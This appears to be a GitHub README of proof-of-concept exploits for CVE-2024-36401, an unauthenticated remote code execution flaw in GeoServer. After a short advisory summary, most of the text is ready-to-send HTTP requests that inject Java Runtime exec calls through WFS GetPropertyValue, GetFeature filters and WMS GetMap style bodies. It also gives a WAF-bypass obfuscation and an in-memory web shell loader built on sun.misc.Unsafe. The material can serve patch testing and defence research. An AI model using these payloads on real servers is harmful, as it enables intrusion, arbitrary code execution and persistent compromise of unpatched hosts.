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12qwertyuiop / CVE-2024-36401

Remote Code Execution (RCE) Vulnerability In Evaluating Property Name Expressions with multies ways to exploit

Home Page:https://www.cve.org/CVERecord?id=CVE-2024-36401

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CVE-2024-36401

Remote Code Execution (RCE) Vulnerability In Evaluating Property Name Expressions

GeoServer is an open source server that allows users to share and edit geospatial data. Prior to versions 2.23.6, 2.24.4, and 2.25.2, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. The GeoTools library API that GeoServer calls evaluates property/attribute names for feature types in a way that unsafely passes them to the commons-jxpath library which can execute arbitrary code when evaluating XPath expressions. This XPath evaluation is intended to be used only by complex feature types (i.e., Application Schema data stores) but is incorrectly being applied to simple feature types as well which makes this vulnerability apply to ALL GeoServer instances. No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests. This vulnerability can lead to executing arbitrary code. Versions 2.23.6, 2.24.4, and 2.25.2 contain a patch for the issue. A workaround exists by removing the gt-complex-x.y.jar file from the GeoServer where x.y is the GeoTools version (e.g., gt-complex-31.1.jar if running GeoServer 2.25.1). This will remove the vulnerable code from GeoServer but may break some GeoServer functionality or prevent GeoServer from deploying if the gt-complex module is needed.

POC

typeNames must be exist at system

u can get all of them at here: http://example.com/geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0

bypass waf poc

/+java.lang.T<!--IgnoreMe!!!!-->hread.s[(: IGNORE :)]leep&#010;&#032;&#009;<![CDATA[ (2000) ]]>

image

GetPropertyValue

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"calc")'>
  <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

GET /geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames=topp:states&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29&version=2.0.0

GetFeature

BBOX-1.0

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2

<wfs:GetFeature service="WFS" version="1.0.0"
  xmlns:topp="http://www.openplans.org/topp"
  xmlns:wfs="http://www.opengis.net/wfs"
  xmlns:ogc="http://www.opengis.net/ogc"
  xmlns:gml="http://www.opengis.net/gml"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.opengis.net/wfs">
  <wfs:Query typeName="topp:states">
    <ogc:Filter>
      <ogc:BBOX>
        <ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
        <gml:Box srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">
           <gml:coordinates>-75.102613,40.212597 -72.361859,41.512517</gml:coordinates>
        </gml:Box>
      </ogc:BBOX>
   </ogc:Filter>
  </wfs:Query>
</wfs:GetFeature>

BBOX-1.1

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2

<wfs:GetFeature service="WFS" version="1.1.0"
  xmlns:topp="http://www.openplans.org/topp"
  xmlns:wfs="http://www.opengis.net/wfs"
  xmlns:ogc="http://www.opengis.net/ogc"
  xmlns:gml="http://www.opengis.net/gml"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.opengis.net/wfs">
  <wfs:Query typeName="topp:states">
    <ogc:Filter>
      <ogc:BBOX>
        <ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
        <gml:Envelope srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">
           <gml:lowerCorner>-75.102613 40.212597</gml:lowerCorner>
           <gml:upperCorner>-72.361859 41.512517</gml:upperCorner>
        </gml:Envelope>
      </ogc:BBOX>
   </ogc:Filter>
  </wfs:Query>
</wfs:GetFeature>

Between-1.0/1.1

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2

<wfs:GetFeature service="WFS" version="1.0.0"
  xmlns:topp="http://www.openplans.org/topp"
  xmlns:wfs="http://www.opengis.net/wfs"
  xmlns:ogc="http://www.opengis.net/ogc"
  xmlns:gml="http://www.opengis.net/gml"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.opengis.net/wfs">
  <wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:PropertyIsBetween>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<ogc:LowerBoundary><ogc:Literal>100000</ogc:Literal></ogc:LowerBoundary>
<ogc:UpperBoundary><ogc:Literal>150000</ogc:Literal></ogc:UpperBoundary>
</ogc:PropertyIsBetween>
</ogc:Filter>
  </wfs:Query>
</wfs:GetFeature>

GET /geoserver/wfs?request=GetFeature&version=1.1.0&typeName=topp:states&propertyName=STATE_NAME,LAND_KM,the_geom&outputFormat=GML2&FILTER=%3CFilter+xmlns%3D%22http%3A%2F%2Fwww.opengis.net%2Fogc%22%3E%3CPropertyIsBetween%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3CLowerBoundary%3E%3CLiteral%3E100000%3C%2FLiteral%3E%3C%2FLowerBoundary%3E%3CUpperBoundary%3E%3CLiteral%3E150000%3C%2FLiteral%3E%3C%2FUpperBoundary%3E%3C%2FPropertyIsBetween%3E%3C%2FFilter%3E

Intersects-1.0/1.1

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2

<wfs:GetFeature service="WFS" version="1.0.0"
  xmlns:topp="http://www.openplans.org/topp"
  xmlns:wfs="http://www.opengis.net/wfs"
  xmlns="http://www.opengis.net/ogc"
  xmlns:gml="http://www.opengis.net/gml"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.opengis.net/wfs">
  <wfs:Query typeName="topp:states">
    <Filter>
      <Intersects>
        <PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName>
        </Intersects>
      </Filter>
  </wfs:Query>
</wfs:GetFeature>

GET /geoserver/wfs?request=GetFeature&version=1.0.0&typeName=topp:states&FILTER=%3CFilter+xmlns%3D%22http%3A%2F%2Fwww.opengis.net%2Fogc%22+xmlns%3Agml%3D%22http%3A%2F%2Fwww.opengis.net%2Fgml%22%3E%3CIntersects%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3Cgml%3APoint+srsName%3D%22EPSG%3A4326%22%3E%3Cgml%3Acoordinates%3E-74.817265%2C40.5296504%3C%2Fgml%3Acoordinates%3E%3C%2Fgml%3APoint%3E%3C%2FIntersects%3E%3C%2FFilter%3E

NotDisjoint

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2

<wfs:GetFeature service="WFS" version="2.0.0"
    xmlns:wfs="http://www.opengis.net/wfs/2.0" xmlns:fes="http://www.opengis.net/fes/2.0"
    xmlns:gml="http://www.opengis.net/gml/3.2" xmlns:sf="http://www.openplans.org/spearfish"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.opengis.net/wfs/2.0 http://schemas.opengis.net/wfs/2.0/wfs.xsd
        http://www.opengis.net/gml/3.2 http://schemas.opengis.net/gml/3.2.1/gml.xsd">
    <wfs:Query typeNames="sf:bugsites">
        <fes:Filter>
            <fes:Not>
                <fes:Disjoint>
                    <fes:ValueReference>exec(java.lang.Runtime.getRuntime(),"calc")</fes:ValueReference>
                </fes:Disjoint>
            </fes:Not>
        </fes:Filter>
    </wfs:Query>
</wfs:GetFeature>

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetFeature&typenames=sf:bugsites&filter=%3Cfes%3AFilter+xmlns%3Afes%3D%22http%3A%2F%2Fwww.opengis.net%2Ffes%2F2.0%22+xmlns%3Agml%3D%22http%3A%2F%2Fwww.opengis.net%2Fgml%2F3.2%22%3E%3Cfes%3ANot%3E%3Cfes%3ADisjoint%3E%3Cfes%3AValueReference%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2Ffes%3AValueReference%3E%3Cgml%3APolygon+gml%3Aid%3D%27polygon.1%27+srsName%3D%27http%3A%2F%2Fwww.opengis.net%2Fdef%2Fcrs%2FEPSG%2F0%2F26713%27%3E%3Cgml%3Aexterior%3E%3Cgml%3ALinearRing%3E%3Cgml%3AposList%3E590431+4915204+590430+4915205+590429+4915204+590430+4915203+590431+4915204%3C%2Fgml%3AposList%3E%3C%2Fgml%3ALinearRing%3E%3C%2Fgml%3Aexterior%3E%3C%2Fgml%3APolygon%3E%3C%2Ffes%3ADisjoint%3E%3C%2Ffes%3ANot%3E%3C%2Ffes%3AFilter%3E

Math

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2

<wfs:GetFeature service="WFS" version="1.0.0"
  xmlns:topp="http://www.openplans.org/topp"
  xmlns:wfs="http://www.opengis.net/wfs"
  xmlns:ogc="http://www.opengis.net/ogc"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.opengis.net/wfs">
  <wfs:Query typeName="topp:states">
    <ogc:Filter>
      <ogc:PropertyIsGreaterThan>
        <ogc:Div>
            <ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
            <ogc:PropertyName>xxx</ogc:PropertyName>
        </ogc:Div>
         <ogc:Literal>0.25</ogc:Literal>
    </ogc:PropertyIsGreaterThan>
    </ogc:Filter>
    </wfs:Query>
</wfs:GetFeature>

GET /geoserver/wfs?request=GetFeature&version=1.1.0&typeName=topp:states&formatName=GML2&FILTER=%3Cogc:Filter%20xmlns:ogc=%22http://www.opengis.net/ogc%22%3E%3Cogc:PropertyIsGreaterThan%3E%3Cogc:Div%3E%3Cogc:PropertyName%3EMANUAL%3C/ogc:PropertyName%3E%3Cogc:PropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C/ogc:PropertyName%3E%3C/ogc:Div%3E%3Cogc:Literal%3E0.25%3C/ogc:Literal%3E%3C/ogc:PropertyIsGreaterThan%3E%3C/ogc:Filter%3E

getMap

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2

<?xml version="1.0" encoding="UTF-8"?>
<ogc:GetMap xmlns:ogc="http://www.opengis.net/ows" 
            xmlns:gml="http://www.opengis.net/gml" 
            version="1.2.0"
            service="WMS">

  <StyledLayerDescriptor version="1.0.0" 
                         xsi:schemaLocation="http://www.opengis.net/sld StyledLayerDescriptor.xsd"
                         xmlns="http://www.opengis.net/sld" 
                         xmlns:ogc="http://www.opengis.net/ogc" 
                         xmlns:xlink="http://www.w3.org/1999/xlink"
                         xmlns:dave="http://blasby.com" 
                         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <UserLayer>
      <Name>Inline</Name>

      <InlineFeature>
        <FeatureCollection>
          <featureMember>
            <BodyPart>
              <Type>Mouth</Type>
              <polygonProperty>
                <gml:Polygon>
                  <gml:outerBoundaryIs>
                    <gml:LinearRing>
                      <gml:coordinates>
                        397,226 396,209 396,196 390,185 384,175 368,163 353,155 331,150 308,149 283,148 261,153 231,163
                        209,175 195,189 186,209 182,221 187,226 193,214 195,205 200,197 203,192 215,185 226,177 241,171
                        256,167 266,163 281,161 297,161 321,160 341,160 359,168 371,175 382,185 388,197 390,215 390,225
                        394,226 397,226
                      </gml:coordinates>
                    </gml:LinearRing>
                  </gml:outerBoundaryIs>
                </gml:Polygon>
              </polygonProperty>
            </BodyPart>
          </featureMember>
        </FeatureCollection>
      </InlineFeature>

      <UserStyle>
        <FeatureTypeStyle>
          <Rule>
            <Filter>
              <Or>
                <PropertyIsEqualTo>
                  <PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName>
                  <Literal>Eye</Literal>
                </PropertyIsEqualTo>
              </Or>
            </Filter>
            <PolygonSymbolizer>
              <Fill>
                <CssParameter name="fill">
                  <ogc:Literal>#DD06E0</ogc:Literal>
                </CssParameter>
                <CssParameter name="fill-opacity">
                  <ogc:Literal>1.0</ogc:Literal>
                </CssParameter>
              </Fill>
              <Stroke>
                <CssParameter name="stroke">
                  <ogc:Literal>#FF00FF</ogc:Literal>
                </CssParameter>
              </Stroke>
            </PolygonSymbolizer>
          </Rule>
        </FeatureTypeStyle>
      </UserStyle>
    </UserLayer>

  </StyledLayerDescriptor>

  <BoundingBox>
    <gml:coord>
      <gml:X>0</gml:X>
      <gml:Y>0</gml:Y>
    </gml:coord>
    <gml:coord>
      <gml:X>500</gml:X>
      <gml:Y>500</gml:Y>
    </gml:coord>
  </BoundingBox>

  <Output>
    <Format>image/jpeg</Format>
    <Transparent>false</Transparent>
    <Size>
      <Width>501</Width>
      <Height>501</Height>
    </Size>
  </Output>


</ogc:GetMap>

GET /geoserver/wms?version=1.3.0&bbox=24,-130,50,-66&Format=image/png&request=GetMap&width=550&height=250&crs=EPSG:4326&SLD_BODY=%3CStyledLayerDescriptor+version%3D%221.1.0%22%3E%3CUserLayer%3E%3CName%3Etopp%3Astates%3C%2FName%3E%3CUserStyle%3E%3CName%3EUserSelection%3C%2FName%3E%3CFeatureTypeStyle%3E%3CRule%3E%3CFilter%3E%3CPropertyIsEqualTo%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3CLiteral%3EIllinois%3C%2FLiteral%3E%3C%2FPropertyIsEqualTo%3E%3C%2FFilter%3E%3CPolygonSymbolizer%3E%3CFill%3E%3CSvgParameter+name%3D%22fill%22%3E%23FF0000%3C%2FSvgParameter%3E%3C%2FFill%3E%3C%2FPolygonSymbolizer%3E%3C%2FRule%3E%3CRule%3E%3CLineSymbolizer%3E%3CStroke%2F%3E%3C%2FLineSymbolizer%3E%3C%2FRule%3E%3C%2FFeatureTypeStyle%3E%3C%2FUserStyle%3E%3C%2FUserLayer%3E%3C%2FStyledLayerDescriptor%3E

Memery Shell

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="your-base64-memery";
var bt;
try {
    bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
    bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>

Affected

affected at < 2.23.6

affected at >= 2.24.0, < 2.24.4

affected at >= 2.25.0, < 2.25.2

References

About

Remote Code Execution (RCE) Vulnerability In Evaluating Property Name Expressions with multies ways to exploit

https://www.cve.org/CVERecord?id=CVE-2024-36401

License:MIT License